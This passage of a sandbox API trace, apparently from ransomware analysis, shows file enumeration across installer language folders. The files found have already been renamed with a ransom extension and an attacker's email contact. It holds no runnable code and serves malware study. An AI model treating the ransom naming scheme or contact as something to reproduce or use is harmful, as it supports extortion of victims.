ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.181] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57b73e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57b73e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57be8b1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.181] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.182] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc641cf2a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc641cf2a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc641cf2a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.182] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc641cf2a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc641cf2a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc641cf2a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.182] FindClose (in: hFindFile=0x4420fa0 | out: hFindFile=0x4420fa0) returned 1 [0175.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.183] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0175.183] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.183] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420a60 [0175.184] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.184] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a938e2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a938e2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.184] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5abb472, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5aec209, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.184] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64440e0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64440e0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a38fc8, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.184] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64440e0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64440e0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a38fc8, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.184] FindClose (in: hFindFile=0x4420a60 | out: hFindFile=0x4420a60) returned 1 [0175.185] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.185] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0175.186] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.186] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420b60 [0175.187] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.187] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5d8e94b, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5d8e94b, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5d8e94b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.187] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5db4b4f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5db4b4f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5db4b4f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.187] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a38fc8, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a38fc8, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.187] FindNextFileW (in: hFindFile=0x4420b60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a38fc8, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a38fc8, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.187] FindClose (in: hFindFile=0x4420b60 | out: hFindFile=0x4420b60) returned 1 [0175.188] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.188] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0175.188] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.188] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420f20 [0175.189] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.190] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5ddacff, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc682db4e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.190] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc68955ec, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc68955ec, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.190] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a5f160, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a5f160, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.190] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a5f160, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a5f160, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.190] FindClose (in: hFindFile=0x4420f20 | out: hFindFile=0x4420f20) returned 1 [0175.191] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.191] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0175.191] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.191] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420f20 [0175.192] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5e73517, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.192] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e27031, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e27031, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e4d2c9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.192] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e4d2c9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e4d2c9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.193] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc724b513, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc724b513, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc724b513, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.193] FindNextFileW (in: hFindFile=0x4420f20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc724b513, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc724b513, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc724b513, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.193] FindClose (in: hFindFile=0x4420f20 | out: hFindFile=0x4420f20) returned 1 [0175.194] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.194] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0175.194] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.194] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420a60 [0175.195] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6717f13, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.195] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6148204, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6148204, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc616e3a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.195] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc616e3a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc616e3a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6194809, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.195] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7677735, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7677735, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7677735, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.195] FindNextFileW (in: hFindFile=0x4420a60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7677735, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7677735, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7677735, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.196] FindClose (in: hFindFile=0x4420a60 | out: hFindFile=0x4420a60) returned 1 [0175.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.197] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0175.197] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.197] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc648f4d9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420ce0 [0175.198] FindNextFileW (in: hFindFile=0x4420ce0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, 